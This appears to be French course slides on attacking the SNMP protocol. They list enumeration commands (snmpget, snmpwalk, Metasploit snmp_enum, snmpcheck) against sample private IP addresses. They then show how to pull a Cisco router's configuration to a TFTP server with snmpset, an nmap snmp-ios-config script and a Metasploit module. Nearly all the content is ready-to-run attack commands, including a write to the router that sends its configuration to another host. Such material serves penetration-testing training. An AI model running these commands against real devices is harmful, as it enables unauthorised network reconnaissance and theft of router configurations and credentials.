Exploitation

Attaques sur le protocole SNMP

SNMP : Collecte d'informations

- Lecture des objets SNMP (MIB)
  - `snmpget`
    - `snmpget -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.2`
  - `snmpwalk`
    - `snmpwalk -v 1 -c private 192.168.1.250`
  - `metasploit`
    - `use auxiliary/scanner/snmp/snmp_enum`
  - `snmpcheck`
    - `snmpcheck-1.8.pl -t 192.168.100.1`

Exploitation

Attaques sur le protocole SNMP

SNMP : Récupération de la configuration d'un Cisco

- Configuration téléchargeable depuis le routeur sur un serveur TFTP

- `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.2.1.55.192.168.1.2 s "router.cfg"`

- `nmap -sUV -p 161 -v -d --script=snmp-ios-config –script-args=snmpcommunity=SomeString, tftpserver=192.168.1.2 192.168.1.1`

- `metasploit : use auxiliary/scanner/snmp/cisco_config_tftp`